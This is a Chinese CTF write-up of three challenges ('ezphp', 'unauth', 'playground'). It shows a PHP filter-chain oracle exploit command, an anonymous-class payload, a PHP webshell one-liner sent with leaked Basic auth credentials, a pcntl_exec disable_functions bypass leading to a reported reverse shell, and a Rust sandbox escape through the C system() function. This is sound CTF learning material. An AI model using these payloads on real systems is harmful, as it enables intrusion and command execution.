pcntl_exec绕过disable_function限制、Rust语言
ezphp
php版本为8.3.2
源码如下
1 | <?php |
注意到hash_file
函数,有点像侧信道攻击的file
函数,去网上搜到有关fliter_chains
的exp
该脚本可利用函数file()
、 hash_file()
、 file_get_contents()
或 copy()
1 | python3 filters_chain_oracle_exploit.py --target url --file 'flag.php' --parameter f |
爆出来参数为ezphpPhp8,加上参数就可以看到flag.php
1 | <?php |
然后这里的 $a 是匿名类,但是 unset 会销毁变量,这下不会了
这个时候要找一下如何触发一个匿名类 参考文章
匿名类的类名与文件所在行列相关,即同一个位置实例出来的类为同一个类
也就是说虽然被销毁了但是我们实例化出来是一样的类
1 | $obj=new class{}; |
payload如下
1 | /flag.php?ezphpPhp8=class@anonymous%00/var/www/html/flag.php:7$0 |
这里的列数是随机的,bp抓包爆破一下即可
unauth
打开题目有个弹框登录
扫目录发现有日志文件泄露,得到admin密码
1 | [2022-01-01 12:34:56] Authentication successful - User: admin Pass: 2e525e29e465f45d8d7c56319fe73036 |
成功登录,源码如下
1 | <?php |
尝试查看phpinfo发现不行,写个马蚁剑连接先
1 | ?cmd=?><?=eval($_POST[1]); |
记得下面的请求信息带上请求头Authorization:Basic YWRtaW46MmU1MjVlMjllNDY1ZjQ1ZDhkN2M1NjMxOWZlNzMwMzY=
查看php.ini
,禁用函数如下
1 | eval,assert,fwrite,file_put_contents,phpinfo,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,lin,putenv,mail,chroot,chgrp,dl,readlink |
我们在php拓展注意到pcntl.so
去网上搜到利用pcntl_exec
绕过disable_function限制 参考文章
并且此函数刚好没有被禁用,payload如下
1 | GET: |
成功反弹shell后,尝试suid提权,发现有su命令
1 | su admin |
密码在config.inc.php
成功提权得到flag
playground
Rust
源码如下
1 | extern crate rocket; |
注意/rust_code
路由下,过滤了std
表示禁止使用Rust的标准库。生成一个随机的长度为 5 的文件名,使用 File::create
创建一个文件,路径为 playground/{}.rs
,然后运行rust代码并输出
我们的目标是通过system函数执行命令,但是system属于外部函数,需要我们声明一下
payload如下
1 | //声明外部函数 C语言库函数 |
或者是
1 | extern "C" { |